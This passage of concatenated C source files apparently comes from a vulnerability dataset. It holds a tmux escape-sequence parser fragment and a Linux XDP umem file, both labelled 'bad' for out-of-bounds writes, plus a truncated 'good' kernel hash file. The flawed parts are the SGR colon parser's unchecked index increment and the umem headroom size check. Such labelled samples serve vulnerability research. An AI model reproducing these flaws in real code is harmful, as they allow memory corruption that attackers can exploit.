22: m++; switch (input_get(ictx, m, 0, -1)) { case -1: return; case 0: case 2: screen_push_title(sctx->s); break; } break; case 23: m++; switch (input_get(ictx, m, 0, -1)) { case -1: return; case 0: case 2: screen_pop_title(sctx->s); if (wp != NULL) { notify_pane("pane-title-changed", wp); server_redraw_window_borders(wp->window); server_status_window(wp->window); } break; } break; case 18: input_reply(ictx, "\033[8;%u;%ut", x, y); break; default: log_debug("%s: unknown '%c'", __func__, ictx->ch); break; } m++; } } /* Helper for 256 colour SGR. */ static int input_csi_dispatch_sgr_256_do(struct input_ctx *ictx, int fgbg, int c) { struct grid_cell *gc = &ictx->cell.cell; if (c == -1 || c > 255) { if (fgbg == 38) gc->fg = 8; else if (fgbg == 48) gc->bg = 8; } else { if (fgbg == 38) gc->fg = c | COLOUR_FLAG_256; else if (fgbg == 48) gc->bg = c | COLOUR_FLAG_256; else if (fgbg == 58) gc->us = c | COLOUR_FLAG_256; } return (1); } /* Handle CSI SGR for 256 colours. */ static void input_csi_dispatch_sgr_256(struct input_ctx *ictx, int fgbg, u_int *i) { int c; c = input_get(ictx, (*i) + 1, 0, -1); if (input_csi_dispatch_sgr_256_do(ictx, fgbg, c)) (*i)++; } /* Helper for RGB colour SGR. */ static int input_csi_dispatch_sgr_rgb_do(struct input_ctx *ictx, int fgbg, int r, int g, int b) { struct grid_cell *gc = &ictx->cell.cell; if (r == -1 || r > 255) return (0); if (g == -1 || g > 255) return (0); if (b == -1 || b > 255) return (0); if (fgbg == 38) gc->fg = colour_join_rgb(r, g, b); else if (fgbg == 48) gc->bg = colour_join_rgb(r, g, b); else if (fgbg == 58) gc->us = colour_join_rgb(r, g, b); return (1); } /* Handle CSI SGR for RGB colours. */ static void input_csi_dispatch_sgr_rgb(struct input_ctx *ictx, int fgbg, u_int *i) { int r, g, b; r = input_get(ictx, (*i) + 1, 0, -1); g = input_get(ictx, (*i) + 2, 0, -1); b = input_get(ictx, (*i) + 3, 0, -1); if (input_csi_dispatch_sgr_rgb_do(ictx, fgbg, r, g, b)) (*i) += 3; } /* Handle CSI SGR with a ISO parameter. */ static void input_csi_dispatch_sgr_colon(struct input_ctx *ictx, u_int i) { struct grid_cell *gc = &ictx->cell.cell; char *s = ictx->param_list[i].str, *copy, *ptr, *out; int p[8]; u_int n; const char *errstr; for (n = 0; n < nitems(p); n++) p[n] = -1; n = 0; ptr = copy = xstrdup(s); while ((out = strsep(&ptr, ":")) != NULL) { if (*out != '\0') { p[n++] = strtonum(out, 0, INT_MAX, &errstr); if (errstr != NULL || n == nitems(p)) { free(copy); return; } } else n++; log_debug("%s: %u = %d", __func__, n - 1, p[n - 1]); } free(copy); if (n == 0) return; if (p[0] == 4) { if (n != 2) return; switch (p[1]) { case 0: gc->attr &= ~GRID_ATTR_ALL_UNDERSCORE; break; case 1: gc->attr &= ~GRID_ATTR_ALL_UNDERSCORE; gc->attr |= GRID_ATTR_UNDERSCORE; break; case 2: gc->attr &= ~GRID_ATTR_ALL_UNDERSCORE; gc->attr |= GRID_ATTR_UNDERSCORE_2; break; case 3: gc->attr &= ~GRID_ATTR_ALL_UNDERSCORE; gc->attr |= GRID_ATTR_UNDERSCORE_3; break; case 4: gc->attr &= ~GRID_ATTR_ALL_UNDERSCORE; gc->attr |= GRID_ATTR_UNDERSCORE_4; break; case 5: gc->attr &= ~GRID_ATTR_ALL_UNDERSCORE; gc->attr |= GRID_ATTR_UNDERSCORE_5; break; } return; } if (n < 2 || (p[0] != 38 && p[0] != 48 && p[0] != 58)) return; switch (p[1]) { case 2: if (n < 3) break; if (n == 5) i = 2; else i = 3; if (n < i + 3) break; input_csi_dispatch_sgr_rgb_do(ictx, p[0], p[i], p[i + 1], p[i + 2]); break; case 5: if (n < 3) break; input_csi_dispatch_sgr_256_do(ictx, p[0], p[2]); break; } } /* Handle CSI SGR. */ static void input_csi_dispatch_sgr(struct input_ctx *ictx) { struct grid_cell *gc = &ictx->cell.cell; u_int i; int n; if (ictx->param_list_len == 0) { memcpy(gc, &grid_default_cell, sizeof *gc); return; } for (i = 0; i < ictx->param_list_len; i++) { if (ictx->param_list[i].type == INPUT_STRING) { input_csi_dispatch_sgr_colon(ictx, i); continue; } n = input_get(ictx, i, 0, 0); if (n == -1) continue; if (n == 38 || n == 48 || n == 58) { i++; switch (input_get(ictx, i, 0, -1)) { case 2: input_csi_dispatch_sgr_rgb(ictx, n, &i); break; case 5: input_csi_dispatch_sgr_256(ictx, n, &i); break; } continue; } switch (n) { case 0: memcpy(gc, &grid_default_cell, sizeof *gc); break; case 1: gc->attr |= GRID_ATTR_BRIGHT; break; case 2: gc->attr |= GRID_ATTR_DIM; break; case 3: gc->attr |= GRID_ATTR_ITALICS; break; case 4: gc->attr &= ~GRID_ATTR_ALL_UNDERSCORE; gc->attr |= GRID_ATTR_UNDERSCORE; break; case 5: gc->attr |= GRID_ATTR_BLINK; break; case 7: gc->attr |= GRID_ATTR_REVERSE; break; case 8: gc->attr |= GRID_ATTR_HIDDEN; break; case 9: gc->attr |= GRID_ATTR_STRIKETHROUGH; break; case 22: gc->attr &= ~(GRID_ATTR_BRIGHT|GRID_ATTR_DIM); break; case 23: gc->attr &= ~GRID_ATTR_ITALICS; break; case 24: gc->attr &= ~GRID_ATTR_ALL_UNDERSCORE; break; case 25: gc->attr &= ~GRID_ATTR_BLINK; break; case 27: gc->attr &= ~GRID_ATTR_REVERSE; break; case 28: gc->attr &= ~GRID_ATTR_HIDDEN; break; case 29: gc->attr &= ~GRID_ATTR_STRIKETHROUGH; break; case 30: case 31: case 32: case 33: case 34: case 35: case 36: case 37: gc->fg = n - 30; break; case 39: gc->fg = 8; break; case 40: case 41: case 42: case 43: case 44: case 45: case 46: case 47: gc->bg = n - 40; break; case 49: gc->bg = 8; break; case 53: gc->attr |= GRID_ATTR_OVERLINE; break; case 55: gc->attr &= ~GRID_ATTR_OVERLINE; break; case 59: gc->us = 0; break; case 90: case 91: case 92: case 93: case 94: case 95: case 96: case 97: gc->fg = n; break; case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: gc->bg = n - 10; break; } } } /* End of input with BEL. */ static int input_end_bel(struct input_ctx *ictx) { log_debug("%s", __func__); ictx->input_end = INPUT_END_BEL; return (0); } /* DCS string started. */ static void input_enter_dcs(struct input_ctx *ictx) { log_debug("%s", __func__); input_clear(ictx); input_start_timer(ictx); ictx->last = -1; } /* DCS terminator (ST) received. */ static int input_dcs_dispatch(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; u_char *buf = ictx->input_buf; size_t len = ictx->input_len; const char prefix[] = "tmux;"; const u_int prefixlen = (sizeof prefix) - 1; if (ictx->flags & INPUT_DISCARD) return (0); log_debug("%s: \"%s\"", __func__, buf); if (len >= prefixlen && strncmp(buf, prefix, prefixlen) == 0) screen_write_rawstring(sctx, buf + prefixlen, len - prefixlen); return (0); } /* OSC string started. */ static void input_enter_osc(struct input_ctx *ictx) { log_debug("%s", __func__); input_clear(ictx); input_start_timer(ictx); ictx->last = -1; } /* OSC terminator (ST) received. */ static void input_exit_osc(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; struct window_pane *wp = ictx->wp; u_char *p = ictx->input_buf; u_int option; if (ictx->flags & INPUT_DISCARD) return; if (ictx->input_len < 1 || *p < '0' || *p > '9') return; log_debug("%s: \"%s\" (end %s)", __func__, p, ictx->input_end == INPUT_END_ST ? "ST" : "BEL"); option = 0; while (*p >= '0' && *p <= '9') option = option * 10 + *p++ - '0'; if (*p == ';') p++; switch (option) { case 0: case 2: if (screen_set_title(sctx->s, p) && wp != NULL) { notify_pane("pane-title-changed", wp); server_redraw_window_borders(wp->window); server_status_window(wp->window); } break; case 4: input_osc_4(ictx, p); break; case 7: if (utf8_isvalid(p)) { screen_set_path(sctx->s, p); if (wp != NULL) { server_redraw_window_borders(wp->window); server_status_window(wp->window); } } break; case 10: input_osc_10(ictx, p); break; case 11: input_osc_11(ictx, p); break; case 12: if (utf8_isvalid(p) && *p != '?') /* ? is colour request */ screen_set_cursor_colour(sctx->s, p); break; case 52: input_osc_52(ictx, p); break; case 104: input_osc_104(ictx, p); break; case 112: if (*p == '\0') /* no arguments allowed */ screen_set_cursor_colour(sctx->s, ""); break; default: log_debug("%s: unknown '%u'", __func__, option); break; } } /* APC string started. */ static void input_enter_apc(struct input_ctx *ictx) { log_debug("%s", __func__); input_clear(ictx); input_start_timer(ictx); ictx->last = -1; } /* APC terminator (ST) received. */ static void input_exit_apc(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; struct window_pane *wp = ictx->wp; if (ictx->flags & INPUT_DISCARD) return; log_debug("%s: \"%s\"", __func__, ictx->input_buf); if (screen_set_title(sctx->s, ictx->input_buf) && wp != NULL) { notify_pane("pane-title-changed", wp); server_redraw_window_borders(wp->window); server_status_window(wp->window); } } /* Rename string started. */ static void input_enter_rename(struct input_ctx *ictx) { log_debug("%s", __func__); input_clear(ictx); input_start_timer(ictx); ictx->last = -1; } /* Rename terminator (ST) received. */ static void input_exit_rename(struct input_ctx *ictx) { struct window_pane *wp = ictx->wp; struct options_entry *o; if (wp == NULL) return; if (ictx->flags & INPUT_DISCARD) return; if (!options_get_number(ictx->wp->options, "allow-rename")) return; log_debug("%s: \"%s\"", __func__, ictx->input_buf); if (!utf8_isvalid(ictx->input_buf)) return; if (ictx->input_len == 0) { o = options_get_only(wp->window->options, "automatic-rename"); if (o != NULL) options_remove_or_default(o, -1, NULL); return; } window_set_name(wp->window, ictx->input_buf); options_set_number(wp->window->options, "automatic-rename", 0); server_redraw_window_borders(wp->window); server_status_window(wp->window); } /* Open UTF-8 character. */ static int input_top_bit_set(struct input_ctx *ictx) { struct screen_write_ctx *sctx = &ictx->ctx; struct utf8_data *ud = &ictx->utf8data; ictx->last = -1; if (!ictx->utf8started) { if (utf8_open(ud, ictx->ch) != UTF8_MORE) return (0); ictx->utf8started = 1; return (0); } switch (utf8_append(ud, ictx->ch)) { case UTF8_MORE: return (0); case UTF8_ERROR: ictx->utf8started = 0; return (0); case UTF8_DONE: break; } ictx->utf8started = 0; log_debug("%s %hhu '%*s' (width %hhu)", __func__, ud->size, (int)ud->size, ud->data, ud->width); utf8_copy(&ictx->cell.cell.data, ud); screen_write_collect_add(sctx, &ictx->cell.cell); return (0); } /* Parse colour from OSC. */ static int input_osc_parse_colour(const char *p, u_int *r, u_int *g, u_int *b) { u_int rsize, gsize, bsize; const char *cp, *s = p; if (sscanf(p, "rgb:%x/%x/%x", r, g, b) != 3) return (0); p += 4; cp = strchr(p, '/'); rsize = cp - p; if (rsize == 1) (*r) = (*r) | ((*r) << 4); else if (rsize == 3) (*r) >>= 4; else if (rsize == 4) (*r) >>= 8; else if (rsize != 2) return (0); p = cp + 1; cp = strchr(p, '/'); gsize = cp - p; if (gsize == 1) (*g) = (*g) | ((*g) << 4); else if (gsize == 3) (*g) >>= 4; else if (gsize == 4) (*g) >>= 8; else if (gsize != 2) return (0); bsize = strlen(cp + 1); if (bsize == 1) (*b) = (*b) | ((*b) << 4); else if (bsize == 3) (*b) >>= 4; else if (bsize == 4) (*b) >>= 8; else if (bsize != 2) return (0); log_debug("%s: %s = %02x%02x%02x", __func__, s, *r, *g, *b); return (1); } /* Reply to a colour request. */ static void input_osc_colour_reply(struct input_ctx *ictx, u_int n, int c) { u_char r, g, b; const char *end; if (c == 8 || (~c & COLOUR_FLAG_RGB)) return; colour_split_rgb(c, &r, &g, &b); if (ictx->input_end == INPUT_END_BEL) end = "\007"; else end = "\033\\"; input_reply(ictx, "\033]%u;rgb:%02hhx/%02hhx/%02hhx%s", n, r, g, b, end); } /* Handle the OSC 4 sequence for setting (multiple) palette entries. */ static void input_osc_4(struct input_ctx *ictx, const char *p) { struct window_pane *wp = ictx->wp; char *copy, *s, *next = NULL; long idx; u_int r, g, b; if (wp == NULL) return; copy = s = xstrdup(p); while (s != NULL && *s != '\0') { idx = strtol(s, &next, 10); if (*next++ != ';') goto bad; if (idx < 0 || idx >= 0x100) goto bad; s = strsep(&next, ";"); if (!input_osc_parse_colour(s, &r, &g, &b)) { s = next; continue; } window_pane_set_palette(wp, idx, colour_join_rgb(r, g, b)); s = next; } free(copy); return; bad: log_debug("bad OSC 4: %s", p); free(copy); } /* Handle the OSC 10 sequence for setting and querying foreground colour. */ static void input_osc_10(struct input_ctx *ictx, const char *p) { struct window_pane *wp = ictx->wp; struct grid_cell defaults; u_int r, g, b; if (wp == NULL) return; if (strcmp(p, "?") == 0) { tty_default_colours(&defaults, wp); input_osc_colour_reply(ictx, 10, defaults.fg); return; } if (!input_osc_parse_colour(p, &r, &g, &b)) goto bad; wp->fg = colour_join_rgb(r, g, b); wp->flags |= (PANE_REDRAW|PANE_STYLECHANGED); return; bad: log_debug("bad OSC 10: %s", p); } /* Handle the OSC 11 sequence for setting and querying background colour. */ static void input_osc_11(struct input_ctx *ictx, const char *p) { struct window_pane *wp = ictx->wp; struct grid_cell defaults; u_int r, g, b; if (wp == NULL) return; if (strcmp(p, "?") == 0) { tty_default_colours(&defaults, wp); input_osc_colour_reply(ictx, 11, defaults.bg); return; } if (!input_osc_parse_colour(p, &r, &g, &b)) goto bad; wp->bg = colour_join_rgb(r, g, b); wp->flags |= (PANE_REDRAW|PANE_STYLECHANGED); return; bad: log_debug("bad OSC 11: %s", p); } /* Handle the OSC 52 sequence for setting the clipboard. */ static void input_osc_52(struct input_ctx *ictx, const char *p) { struct window_pane *wp = ictx->wp; char *end; const char *buf; size_t len; u_char *out; int outlen, state; struct screen_write_ctx ctx; struct paste_buffer *pb; if (wp == NULL) return; state = options_get_number(global_options, "set-clipboard"); if (state != 2) return; if ((end = strchr(p, ';')) == NULL) return; end++; if (*end == '\0') return; log_debug("%s: %s", __func__, end); if (strcmp(end, "?") == 0) { if ((pb = paste_get_top(NULL)) != NULL) { buf = paste_buffer_data(pb, &len); outlen = 4 * ((len + 2) / 3) + 1; out = xmalloc(outlen); if ((outlen = b64_ntop(buf, len, out, outlen)) == -1) { free(out); return; } } else { outlen = 0; out = NULL; } bufferevent_write(ictx->event, "\033]52;;", 6); if (outlen != 0) bufferevent_write(ictx->event, out, outlen); if (ictx->input_end == INPUT_END_BEL) bufferevent_write(ictx->event, "\007", 1); else bufferevent_write(ictx->event, "\033\\", 2); free(out); return; } len = (strlen(end) / 4) * 3; if (len == 0) return; out = xmalloc(len); if ((outlen = b64_pton(end, out, len)) == -1) { free(out); return; } screen_write_start_pane(&ctx, wp, NULL); screen_write_setselection(&ctx, out, outlen); screen_write_stop(&ctx); notify_pane("pane-set-clipboard", wp); paste_add(NULL, out, outlen); } /* Handle the OSC 104 sequence for unsetting (multiple) palette entries. */ static void input_osc_104(struct input_ctx *ictx, const char *p) { struct window_pane *wp = ictx->wp; char *copy, *s; long idx; if (wp == NULL) return; if (*p == '\0') { window_pane_reset_palette(wp); return; } copy = s = xstrdup(p); while (*s != '\0') { idx = strtol(s, &s, 10); if (*s != '\0' && *s != ';') goto bad; if (idx < 0 || idx >= 0x100) goto bad; window_pane_unset_palette(wp, idx); if (*s == ';') s++; } free(copy); return; bad: log_debug("bad OSC 104: %s", p); free(copy); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_4410_0
crossvul-cpp_data_bad_4009_0
// SPDX-License-Identifier: GPL-2.0 /* XDP user-space packet buffer * Copyright(c) 2018 Intel Corporation. */ #include <linux/init.h> #include <linux/sched/mm.h> #include <linux/sched/signal.h> #include <linux/sched/task.h> #include <linux/uaccess.h> #include <linux/slab.h> #include <linux/bpf.h> #include <linux/mm.h> #include <linux/netdevice.h> #include <linux/rtnetlink.h> #include <linux/idr.h> #include <linux/vmalloc.h> #include "xdp_umem.h" #include "xsk_queue.h" #define XDP_UMEM_MIN_CHUNK_SIZE 2048 static DEFINE_IDA(umem_ida); void xdp_add_sk_umem(struct xdp_umem *umem, struct xdp_sock *xs) { unsigned long flags; if (!xs->tx) return; spin_lock_irqsave(&umem->xsk_list_lock, flags); list_add_rcu(&xs->list, &umem->xsk_list); spin_unlock_irqrestore(&umem->xsk_list_lock, flags); } void xdp_del_sk_umem(struct xdp_umem *umem, struct xdp_sock *xs) { unsigned long flags; if (!xs->tx) return; spin_lock_irqsave(&umem->xsk_list_lock, flags); list_del_rcu(&xs->list); spin_unlock_irqrestore(&umem->xsk_list_lock, flags); } /* The umem is stored both in the _rx struct and the _tx struct as we do * not know if the device has more tx queues than rx, or the opposite. * This might also change during run time. */ static int xdp_reg_umem_at_qid(struct net_device *dev, struct xdp_umem *umem, u16 queue_id) { if (queue_id >= max_t(unsigned int, dev->real_num_rx_queues, dev->real_num_tx_queues)) return -EINVAL; if (queue_id < dev->real_num_rx_queues) dev->_rx[queue_id].umem = umem; if (queue_id < dev->real_num_tx_queues) dev->_tx[queue_id].umem = umem; return 0; } struct xdp_umem *xdp_get_umem_from_qid(struct net_device *dev, u16 queue_id) { if (queue_id < dev->real_num_rx_queues) return dev->_rx[queue_id].umem; if (queue_id < dev->real_num_tx_queues) return dev->_tx[queue_id].umem; return NULL; } EXPORT_SYMBOL(xdp_get_umem_from_qid); static void xdp_clear_umem_at_qid(struct net_device *dev, u16 queue_id) { if (queue_id < dev->real_num_rx_queues) dev->_rx[queue_id].umem = NULL; if (queue_id < dev->real_num_tx_queues) dev->_tx[queue_id].umem = NULL; } int xdp_umem_assign_dev(struct xdp_umem *umem, struct net_device *dev, u16 queue_id, u16 flags) { bool force_zc, force_copy; struct netdev_bpf bpf; int err = 0; ASSERT_RTNL(); force_zc = flags & XDP_ZEROCOPY; force_copy = flags & XDP_COPY; if (force_zc && force_copy) return -EINVAL; if (xdp_get_umem_from_qid(dev, queue_id)) return -EBUSY; err = xdp_reg_umem_at_qid(dev, umem, queue_id); if (err) return err; umem->dev = dev; umem->queue_id = queue_id; if (flags & XDP_USE_NEED_WAKEUP) { umem->flags |= XDP_UMEM_USES_NEED_WAKEUP; /* Tx needs to be explicitly woken up the first time. * Also for supporting drivers that do not implement this * feature. They will always have to call sendto(). */ xsk_set_tx_need_wakeup(umem); } dev_hold(dev); if (force_copy) /* For copy-mode, we are done. */ return 0; if (!dev->netdev_ops->ndo_bpf || !dev->netdev_ops->ndo_xsk_wakeup) { err = -EOPNOTSUPP; goto err_unreg_umem; } bpf.command = XDP_SETUP_XSK_UMEM; bpf.xsk.umem = umem; bpf.xsk.queue_id = queue_id; err = dev->netdev_ops->ndo_bpf(dev, &bpf); if (err) goto err_unreg_umem; umem->zc = true; return 0; err_unreg_umem: if (!force_zc) err = 0; /* fallback to copy mode */ if (err) xdp_clear_umem_at_qid(dev, queue_id); return err; } void xdp_umem_clear_dev(struct xdp_umem *umem) { struct netdev_bpf bpf; int err; ASSERT_RTNL(); if (!umem->dev) return; if (umem->zc) { bpf.command = XDP_SETUP_XSK_UMEM; bpf.xsk.umem = NULL; bpf.xsk.queue_id = umem->queue_id; err = umem->dev->netdev_ops->ndo_bpf(umem->dev, &bpf); if (err) WARN(1, "failed to disable umem!\n"); } xdp_clear_umem_at_qid(umem->dev, umem->queue_id); dev_put(umem->dev); umem->dev = NULL; umem->zc = false; } static void xdp_umem_unmap_pages(struct xdp_umem *umem) { unsigned int i; for (i = 0; i < umem->npgs; i++) if (PageHighMem(umem->pgs[i])) vunmap(umem->pages[i].addr); } static int xdp_umem_map_pages(struct xdp_umem *umem) { unsigned int i; void *addr; for (i = 0; i < umem->npgs; i++) { if (PageHighMem(umem->pgs[i])) addr = vmap(&umem->pgs[i], 1, VM_MAP, PAGE_KERNEL); else addr = page_address(umem->pgs[i]); if (!addr) { xdp_umem_unmap_pages(umem); return -ENOMEM; } umem->pages[i].addr = addr; } return 0; } static void xdp_umem_unpin_pages(struct xdp_umem *umem) { unpin_user_pages_dirty_lock(umem->pgs, umem->npgs, true); kfree(umem->pgs); umem->pgs = NULL; } static void xdp_umem_unaccount_pages(struct xdp_umem *umem) { if (umem->user) { atomic_long_sub(umem->npgs, &umem->user->locked_vm); free_uid(umem->user); } } static void xdp_umem_release(struct xdp_umem *umem) { rtnl_lock(); xdp_umem_clear_dev(umem); rtnl_unlock(); ida_simple_remove(&umem_ida, umem->id); if (umem->fq) { xskq_destroy(umem->fq); umem->fq = NULL; } if (umem->cq) { xskq_destroy(umem->cq); umem->cq = NULL; } xsk_reuseq_destroy(umem); xdp_umem_unmap_pages(umem); xdp_umem_unpin_pages(umem); kvfree(umem->pages); umem->pages = NULL; xdp_umem_unaccount_pages(umem); kfree(umem); } static void xdp_umem_release_deferred(struct work_struct *work) { struct xdp_umem *umem = container_of(work, struct xdp_umem, work); xdp_umem_release(umem); } void xdp_get_umem(struct xdp_umem *umem) { refcount_inc(&umem->users); } void xdp_put_umem(struct xdp_umem *umem) { if (!umem) return; if (refcount_dec_and_test(&umem->users)) { INIT_WORK(&umem->work, xdp_umem_release_deferred); schedule_work(&umem->work); } } static int xdp_umem_pin_pages(struct xdp_umem *umem) { unsigned int gup_flags = FOLL_WRITE; long npgs; int err; umem->pgs = kcalloc(umem->npgs, sizeof(*umem->pgs), GFP_KERNEL | __GFP_NOWARN); if (!umem->pgs) return -ENOMEM; down_read(&current->mm->mmap_sem); npgs = pin_user_pages(umem->address, umem->npgs, gup_flags | FOLL_LONGTERM, &umem->pgs[0], NULL); up_read(&current->mm->mmap_sem); if (npgs != umem->npgs) { if (npgs >= 0) { umem->npgs = npgs; err = -ENOMEM; goto out_pin; } err = npgs; goto out_pgs; } return 0; out_pin: xdp_umem_unpin_pages(umem); out_pgs: kfree(umem->pgs); umem->pgs = NULL; return err; } static int xdp_umem_account_pages(struct xdp_umem *umem) { unsigned long lock_limit, new_npgs, old_npgs; if (capable(CAP_IPC_LOCK)) return 0; lock_limit = rlimit(RLIMIT_MEMLOCK) >> PAGE_SHIFT; umem->user = get_uid(current_user()); do { old_npgs = atomic_long_read(&umem->user->locked_vm); new_npgs = old_npgs + umem->npgs; if (new_npgs > lock_limit) { free_uid(umem->user); umem->user = NULL; return -ENOBUFS; } } while (atomic_long_cmpxchg(&umem->user->locked_vm, old_npgs, new_npgs) != old_npgs); return 0; } static int xdp_umem_reg(struct xdp_umem *umem, struct xdp_umem_reg *mr) { bool unaligned_chunks = mr->flags & XDP_UMEM_UNALIGNED_CHUNK_FLAG; u32 chunk_size = mr->chunk_size, headroom = mr->headroom; unsigned int chunks, chunks_per_page; u64 addr = mr->addr, size = mr->len; int size_chk, err; if (chunk_size < XDP_UMEM_MIN_CHUNK_SIZE || chunk_size > PAGE_SIZE) { /* Strictly speaking we could support this, if: * - huge pages, or* * - using an IOMMU, or * - making sure the memory area is consecutive * but for now, we simply say "computer says no". */ return -EINVAL; } if (mr->flags & ~(XDP_UMEM_UNALIGNED_CHUNK_FLAG | XDP_UMEM_USES_NEED_WAKEUP)) return -EINVAL; if (!unaligned_chunks && !is_power_of_2(chunk_size)) return -EINVAL; if (!PAGE_ALIGNED(addr)) { /* Memory area has to be page size aligned. For * simplicity, this might change. */ return -EINVAL; } if ((addr + size) < addr) return -EINVAL; chunks = (unsigned int)div_u64(size, chunk_size); if (chunks == 0) return -EINVAL; if (!unaligned_chunks) { chunks_per_page = PAGE_SIZE / chunk_size; if (chunks < chunks_per_page || chunks % chunks_per_page) return -EINVAL; } size_chk = chunk_size - headroom - XDP_PACKET_HEADROOM; if (size_chk < 0) return -EINVAL; umem->address = (unsigned long)addr; umem->chunk_mask = unaligned_chunks ? XSK_UNALIGNED_BUF_ADDR_MASK : ~((u64)chunk_size - 1); umem->size = size; umem->headroom = headroom; umem->chunk_size_nohr = chunk_size - headroom; umem->npgs = size / PAGE_SIZE; umem->pgs = NULL; umem->user = NULL; umem->flags = mr->flags; INIT_LIST_HEAD(&umem->xsk_list); spin_lock_init(&umem->xsk_list_lock); refcount_set(&umem->users, 1); err = xdp_umem_account_pages(umem); if (err) return err; err = xdp_umem_pin_pages(umem); if (err) goto out_account; umem->pages = kvcalloc(umem->npgs, sizeof(*umem->pages), GFP_KERNEL_ACCOUNT); if (!umem->pages) { err = -ENOMEM; goto out_pin; } err = xdp_umem_map_pages(umem); if (!err) return 0; kvfree(umem->pages); out_pin: xdp_umem_unpin_pages(umem); out_account: xdp_umem_unaccount_pages(umem); return err; } struct xdp_umem *xdp_umem_create(struct xdp_umem_reg *mr) { struct xdp_umem *umem; int err; umem = kzalloc(sizeof(*umem), GFP_KERNEL); if (!umem) return ERR_PTR(-ENOMEM); err = ida_simple_get(&umem_ida, 0, 0, GFP_KERNEL); if (err < 0) { kfree(umem); return ERR_PTR(err); } umem->id = err; err = xdp_umem_reg(umem, mr); if (err) { ida_simple_remove(&umem_ida, umem->id); kfree(umem); return ERR_PTR(err); } return umem; } bool xdp_umem_validate_queues(struct xdp_umem *umem) { return umem->fq && umem->cq; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_4009_0
crossvul-cpp_data_good_2977_1
/* * Synchronous Cryptographic Hash operations. * * Copyright (c) 2008 Herbert Xu <herbert@gondor.apana.org.au> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) * any later version. * */ #include <crypto/scatterwalk.h> #include <crypto/internal/hash.h> #include <linux/err.h> #include <linux/kernel.h> #include <linux/module.h> #include <linux/slab.h> #include <linux/seq_file.h> #include <linux/cryptouser.h> #include <net/netlink.h> #include <linux/compiler.h> #include "internal.h" static const struct crypto_type crypto_shash_type; int shash_no_setkey(struct crypto_shash *tfm, const u8 *key, unsigned int keylen) { return -ENOSYS; } EXPORT_SYMBOL_GPL(shash_no_setkey); static int shash_setkey_unaligned(struct crypto_shash *tfm, const u8 *key, unsigned int keylen) { struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); unsigned long absize; u8 *buffer, *alignbuffer; int err; absize = keylen + (alignmask & ~(crypto_tfm_ctx_alignment() - 1)); buffer = kmalloc(absize, GFP_ATOMIC); if (!buffer) return -ENOMEM; alignbuffer = (u8 *)ALIGN((unsigned long)buffer, alignmask + 1); memcpy(alignbuffer, key, keylen); err = shash->setkey(tfm, alignbuffer, keylen); kzfree(buffer); return err; } int crypto_shash_setkey(struct crypto_shash *tfm, const u8 *key, unsigned int keylen) { struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); if ((unsigned long)key & alignmask) return shash_setkey_unaligned(tfm, key, keylen); return shash->setkey(tfm, key, keylen); } EXPORT_SYMBOL_GPL(crypto_shash_setkey); static inline unsigned int shash_align_buffer_size(unsigned len, unsigned long mask) { typedef u8 __aligned_largest u8_aligned; return len + (mask & ~(__alignof__(u8_aligned) - 1)); } static int shash_update_unaligned(struct shash_desc *desc, const u8 *data, unsigned int len) { struct crypto_shash *tfm = desc->tfm; struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); unsigned int unaligned_len = alignmask + 1 - ((unsigned long)data & alignmask); u8 ubuf[shash_align_buffer_size(unaligned_len, alignmask)] __aligned_largest; u8 *buf = PTR_ALIGN(&ubuf[0], alignmask + 1); int err; if (unaligned_len > len) unaligned_len = len; memcpy(buf, data, unaligned_len); err = shash->update(desc, buf, unaligned_len); memset(buf, 0, unaligned_len); return err ?: shash->update(desc, data + unaligned_len, len - unaligned_len); } int crypto_shash_update(struct shash_desc *desc, const u8 *data, unsigned int len) { struct crypto_shash *tfm = desc->tfm; struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); if ((unsigned long)data & alignmask) return shash_update_unaligned(desc, data, len); return shash->update(desc, data, len); } EXPORT_SYMBOL_GPL(crypto_shash_update); static int shash_final_unaligned(struct shash_desc *desc, u8 *out) { struct crypto_shash *tfm = desc->tfm; unsigned long alignmask = crypto_shash_alignmask(tfm); struct shash_alg *shash = crypto_shash_alg(tfm); unsigned int ds = crypto_shash_digestsize(tfm); u8 ubuf[shash_align_buffer_size(ds, alignmask)] __aligned_largest; u8 *buf = PTR_ALIGN(&ubuf[0], alignmask + 1); int err; err = shash->final(desc, buf); if (err) goto out; memcpy(out, buf, ds); out: memset(buf, 0, ds); return err; } int crypto_shash_final(struct shash_desc *desc, u8 *out) { struct crypto_shash *tfm = desc->tfm; struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); if ((unsigned long)out & alignmask) return shash_final_unaligned(desc, out); return shash->final(desc, out); } EXPORT_SYMBOL_GPL(crypto_shash_final); static int shash_finup_unaligned(struct shash_desc *desc, const u8 *data, unsigned int len, u8 *out) { return crypto_shash_update(desc, data, len) ?: crypto_shash_final(desc, out); } int crypto_shash_finup(struct shash_desc *desc, const u8 *data, unsigned int len, u8 *out) { struct crypto_shash *tfm = desc->tfm; struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); if (((unsigned long)data | (unsigned long)out) & alignmask) return shash_finup_unaligned(desc, data, len, out); return shash->finup(desc, data, len, out); } EXPORT_SYMBOL_GPL(crypto_shash_finup); static int shash_digest_unaligned(struct shash_desc *desc, const u8 *data, unsigned int len, u8 *out) { return crypto_shash_init(desc) ?: crypto_shash_finup(desc, data, len, out); } int crypto_shash_digest(struct shash_desc *desc, const u8 *data, unsigned int len, u8 *out) { struct crypto_shash *tfm = desc->tfm; struct shash_alg *shash = crypto_shash_alg(tfm); unsigned long alignmask = crypto_shash_alignmask(tfm); if (((unsigned long)data | (unsigned long)out) & alignmask) return shash_digest_unaligned(desc, data, len, out); return shash->digest(desc, data, len, out); } EXPORT_SYMBOL_GPL(crypto_shash_digest); static int shash_default_export(struct shash_desc *desc, void *out) { memcpy(out, 